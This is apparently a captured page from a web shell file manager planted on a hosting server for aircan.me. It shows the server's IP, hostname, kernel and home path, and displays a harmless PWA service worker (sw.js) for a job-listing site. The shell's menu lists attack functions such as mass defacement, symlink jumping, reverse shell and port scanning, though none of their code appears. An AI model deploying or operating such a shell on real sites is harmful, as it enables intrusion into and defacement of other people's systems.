Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostorefran
/
Viewing: sw.js
const CACHE_NAME = 'trabajostore-pwa-v1'; const PRECACHE_URLS = [ './', './index.php', './public/assets/css/styles.css', './public/assets/js/main.js', './public/assets/img/favicon.png' ]; self.addEventListener('install', event => { event.waitUntil( caches.open(CACHE_NAME).then(cache => cache.addAll(PRECACHE_URLS)).then(() => self.skipWaiting()) ); }); self.addEventListener('activate', event => { event.waitUntil( caches.keys().then(keys => Promise.all(keys.map(key => (key === CACHE_NAME ? null : caches.delete(key))))).then(() => self.clients.claim())) ); }); self.addEventListener('fetch', event => { const request = event.request; if (request.method !== 'GET') { return; } const url = new URL(request.url); if (url.origin !== self.location.origin) { return; } // Bypass cache for admin and employer panels to ensure fresh data if (url.pathname.includes('/admin/') || url.pathname.includes('/employer/')) { return; } if (url.pathname.endsWith('/api/jobs-events.php')) { event.respondWith(fetch(request)); return; } if (url.pathname.includes('/push/onesignal/')) { event.respondWith(fetch(request)); return; } // Network First strategy for everything else event.respondWith( fetch(request) .then(response => { if (!response || response.status !== 200 || response.type !== 'basic') { return response; } const copy = response.clone(); caches.open(CACHE_NAME).then(cache => cache.put(request, copy)); return response; }) .catch(() => { return caches.match(request).then(cached => { if (cached) return cached; if (request.mode === 'navigate') return caches.match('./index.php'); return undefined; }); }) ); }); self.addEventListener('notificationclick', event => { event.notification.close(); const targetUrl = event.notification?.data?.url; if (!targetUrl) { return; } event.waitUntil( clients.matchAll({ type: 'window', includeUncontrolled: true }).then(windowClients => { for (const client of windowClients) { if ('focus' in client) { client.navigate(targetUrl); return client.focus(); } } return clients.openWindow(targetUrl); }) ); });
Coded With 💗 by
0x6ick